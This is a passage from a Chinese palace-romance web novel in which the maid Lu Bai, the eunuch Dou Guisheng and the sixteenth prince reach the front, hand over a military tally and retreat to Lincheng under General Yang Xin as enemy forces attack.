鹿白瞥了他一眼:“对不成了。” “怎么了?” “他要杀我。” “啊!”甄秋惊叫一声,飞快捂住嘴,小声道,“你怎么他了?” 鹿白腾地坐起身,痛心疾首道:“难道非得是我做错什么,非得我怎么他了吗?难道就没有可能,他本身就是个变态、恶鬼、杀人狂魔,天生喜欢杀人吗?甄秋,我对你太失望了!” 甄秋:“……” “两口子吵架,冲我发什么火呢……” “不是!不是两口子!” “当初你自己说的。” “那是因为——” 甄秋“啧啧”两声:“小白,你这叫什么?这就叫过河拆桥,卸磨杀驴,忘恩负义,怨不得窦公公生气。” 他用“定是你始乱终弃”的眼神谴责她。 鹿白无言以对:“……我跟你解释不清。反正,我,跟他,没可能了。就算原来有可能,现在也没了。真的,谁再跟他对食谁就是傻子。” 这时,从他们面前那堵木板做成的墙外,传来了隔壁的人声:“没带什么好茶,窦公公莫怪。” 刚进屋的窦贵生:“殿下不必客气,叨扰多时,臣先告退了。” 声音清晰得仿佛墙是空气做的。 甄秋对鹿白道:“你完了。” 鹿白:“……” 接下来的一路,鹿白每天早晨都能在十六皇子的请安队列中见到窦贵生。他一点都不尴尬,因此她以为他那天可能没听到,便放了心。但她刚一放心,就发现他总是投来意味深长的眼神,顿时又开始阵阵尴尬。 她爹说了,人这辈子记住两点就行了: 第一,欠债还钱,天经地义,人情债也一样; 第二,不要欠债,尤其是人情债。 现在倒好,除了欠吴玉的人情债,还欠了窦贵生的人情债。一屁股都是债,以后可怎么还! 她爹说了,人这辈子最忌讳的就是磨唧,买定离手,能上则上。还好你随我,随你娘就完了。 追根溯源,当时她为什么那么生气呢?大概是因为想不明白,为什么有的人表面上一句好话没有,暗地里却做了不少好事;为什么有的人暗地里做了不少好事,她刚想对他好时,他又给她当头棒喝,意欲取她狗命。 讨厌就讨厌,喜欢就喜欢,有些人啊,怎么还有两幅面孔呢! 她爹还说,没有希望,就不会失望。望着窦贵生的背影时,她在希望什么呢?知道家与公公不可兼得时,她又在失望什么呢? 等等……她爹?! 鹿白霎时陷入了迷惘的沉思。 甄秋路过:“小白,蹲在这儿做什么呢?” 鹿白托腮:“我在回忆。” ——看起来像是在思考,实则大脑一片空白。 回想起这段经历时,鹿白曾问自己,是什么时候开始对老太监有所改观的呢? 那是一个清晨,死尸般银灰色的浓雾正从广阔的江面上缓缓升起。窦贵生像露丝一样站在船头发呆,鹿白忽的起了坏心,决定像杰克一样靠近他,捉住他,然后……吓他一个哆嗦。最好能叫他失足落水的那种。 不过,当她蹑手蹑脚地走到船头时,她就忘记了自己的初衷——日出了。 窦贵生的脸突然变得红润又健康,跟鸭蛋黄似的太阳一模一样。他似乎早就知道身后有人,也知道这人是谁,因此在她靠近的时候,他并没有任何意外的反应,只是微微垂下了睫毛。 那两扇浓密的、纠缠的、略显可怜的睫毛底下,是令她似曾相识的朦胧目光。 她突然觉得,他脚下的不是浮冰江流,而是遍地硝烟。他高立在尸山血海之上,指点江山,运筹帷幄,宛若鏖战沙场的将军。 而将军瞧着很可怜。 她怔怔地欣赏片刻,忽的问了一句不相干的话:“为什么说,与陈相比,不及万一?” 她还想问,如果,只是如果,她的家人就在朔郡,两军交战,他们还有命活下来吗? 脚下的江水飘着片片薄冰,隐秘而激动地微微晃动,仿佛水底藏了无数个小太阳,发着闪亮跳跃的微光。窦贵生没有转头,轻声反问:“这是请教先生呐?” 鹿白支吾一声,不等他回答又问:“依公公所见,大周会输吗?” 窦贵生这次答得很快:“不会。” “哦,那就好。”他的话莫名有种安抚人心的功效,鹿白的一颗心顿时落了地,“打扰公公赏景了。”说罢她便悄无声息地走了。 不输,但也不会赢。这句话窦贵生没来得及说出口,因为他已经瞥见渡口上候着的人了。哨兵挥舞着黄色的令旗,反反复复传递着一条紧急讯息:停船,此路不通。 半个时辰后,船靠了岸。 十六皇子被扶下船的时候还是懵的:“这么快就到了?” 鹿白也摸不着头脑:“不是还有一天半吗?” 窦贵生神色凝重,也不顾忌遮掩了,大步流星跑下船。邓献见到他,先是吃了一惊,紧接着脸上露出不虞的神色:“九殿下不来了?” 不光邓献,李乐山、查门戈等数十将军都在,虽然没有出声,但各异的神情比语言更明显地表达了他们的不满。 窦贵生抬手正了正发冠,一言不发,从怀中掏出了半枚兵符。纯黑的虎符只有拇指大小,被他捏在手中,高举过头顶,叫鹿白无端联想到忙碌半天终于摸到一条泥鳅、迫不及待展示给众人看的乡野男童。 庄重的气氛跟此举的滑稽一比一抵消,在鹿白来不及反应之时,邓献便“扑通”一声跪了下去。紧接着,铮铮声四起,众将如山般接连跪倒。 邓献跪得尤其响,兴许还带了几分赌气的情绪:“参见圣上。” “参见圣上!”众将齐齐呐喊,喊声在江面荡起层层回音。 鹿白差点也要跟着跪下,十六皇子拽了她一把,用眼神示意她不必。现在他们代表圣上,心安理得受了这一拜便是。 两枚虎符合二为一,严丝合缝地扣在一起,邓献才泄气似的冲窦贵生拱了拱手:“见过督军。” “邓帅错了。”窦贵生将一半虎符还给他,另一半施施然交给身后的十六皇子,“十六殿下才是督军。” 闻言,十六皇子微微瞪大了眼,努力赶走脸上的怯意,学着窦贵生的样子抬起手:“邓帅起来吧。” 邓献这才高兴了几分,朗声道:“是,殿下!” 这是他们早就说好的,对外仍旧声称十六皇子为督军,一应决定皆由窦贵生“代为传达”,不过玉印仍由窦贵生保管,不得轻易示人。 十六皇子一路奔波,疲惫不堪,强打着精神问道:“邓帅,怎么前边不能走了?还有,你们怎么不在赢城?” 邓献领几人前往帐内,走了好几步,才发现十六皇子并未跟上,还一步三喘地落在后头。他不禁蹙眉,顺带狠狠瞪了窦贵生一眼。 等众人安顿下来,邓献才语气沉重地开了口:“殿下,赢城丢了 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窦贵生了然道:“得人家愿意开门才行。” 几人在帐内讨论军事机密,鹿白和甄秋自然没资格听。两人远远地蹲在树下,谁都没有心情开口。 沉默半晌,甄秋忽的问:“小白,你还走吗?” 鹿白怅然反问:“你觉得,我还能走吗?” 情势急转直下,眨眼的功夫,前线封锁,她回家的美梦碎了。怅然之外有点庆幸,庆幸之外有点迷茫,迷茫之外还有点窃喜。 寂静的营中忽的响起一声马嘶,打破了两人的唉声叹气。片刻后有人匆匆来报:“禀邓帅,杨信求见。” 不等答复,一人便骑着马闯了进来。马蹄掀起一阵尘土,霸道地赶走树下两人。鹿白躲到一旁不住地咳嗽:“好大的架势!” 杨信本来已经走了,闻言顿住脚步,回头扫了一眼。鹿白像是被狼盯上了,猛地缩了脖子,杨信却得意地哈哈大笑,指着她道:“你挺好看的,待会儿跟我回府。” 不等她想出骂人的话,登徒子便飞快地消失在帐帘背后,不见踪影。 鹿白咬牙:“我恨!” 不一会儿,帘子便掀开了,鹿白准备好一系列反击之词,精神抖擞地准备迎战,但出来的根本不是杨信,而是窦贵生。 “过来。”窦贵生连眼珠子都没转,准确无误地认出了灰头土脸的她,“带殿下回去。” 不知道什么时候起,窦贵生不再叫她的名字了,连“哎”都不“哎”了,含含糊糊的,就像不在乎她能否听到似的。也许早就开始了,但这几天两人没怎么说话,于是鹿白现在才察觉。 “窦公公。”她疑惑道,“不是不让我进去吗?” “谈完了。” “哦。” 鹿白道了声“打扰”,便低着头钻进帐中。两人侧身而过,没有丝毫眼神交汇。等她入内,窦贵生的睫毛才猛地颤了一下,朝她拘谨的背影投去毫不掩饰的目光。 杨信大喇喇地倚在帐旁,正眉飞色舞地冲邓献道:“我也不是不愿意,只是你们之前没跟我说清。你看,方才窦公公不是说得挺清楚的嘛。早这么说,我不早就出兵了吗?” 邓献被他倒打一耙的说辞气了个倒仰:“窦公公说什么了?他从始至终就说了两句话!你信他也罢,杨信,我奉劝你一句,别得意的太早,等陈军打到蔺城了,我看你还坐不坐得住!” 杨信面无表情地“哈”了一声:“那我就等着。” 蔺城地势险峻,易守难攻,杨信明哲保身是有道理的。总之不会打到他身上,何必上赶着找死呢? 不过……这人跟窦贵生竟是旧识?鹿白隐晦地瞄了杨信一眼,他立马察觉,明目张胆地回望过来,眼神却规矩了许多。 欺软怕硬,没错,是一路人,鹿白在心中飞快下了论断。 扶着十六皇子出帐时,身后紧接着响起了脚步声。不用回头,从方位就能判断是杨信。鹿白像被狼撵了似的,拽着十六皇子飞快离开,所幸,狼没追上来给她一口。 脚步在帐门口停下,杨信的大手在窦贵生肩上重重拍了一下,差点让他就地散架:“这回能待多久?” 窦贵生视线缀在鹿白身后,声音轻轻飘飘:“就看杨将军能抵抗多久了。” “我真是被你给卖了!”杨信长叹一声,在他和鹿白之间看了好几个来回,忽的察觉到一点什么,“这人谁呀?” 窦贵生没有回答,嘴角肌肉收缩,颧骨皮肤绷紧,下颌微微向后扯,两侧眼角露出对称的四道细纹。 ——他笑了一下。 “知道了。”杨信了然,大笑着拍马而去,“杨信恭候大驾!” 大军即刻拔营,是夜,抵达蔺城。 杨家军的精神状态异常饱满,对比外借的两千老弱病残,显然不在一个水平。众将气极,却也无可奈何若非杨信和窦贵生的私人关系,他们现在连蔺城的城门都摸不着呢。蔺城内却是一片祥和,似乎丝毫没被外界的战火影响,宛如一座遗世而独立的孤岛。 但窦贵生却高兴不起来,鹿白的脸上也尽是担忧。龟缩此处,到底能躲多久呢? 当天夜里,陈军的冲锋号就给出了答案。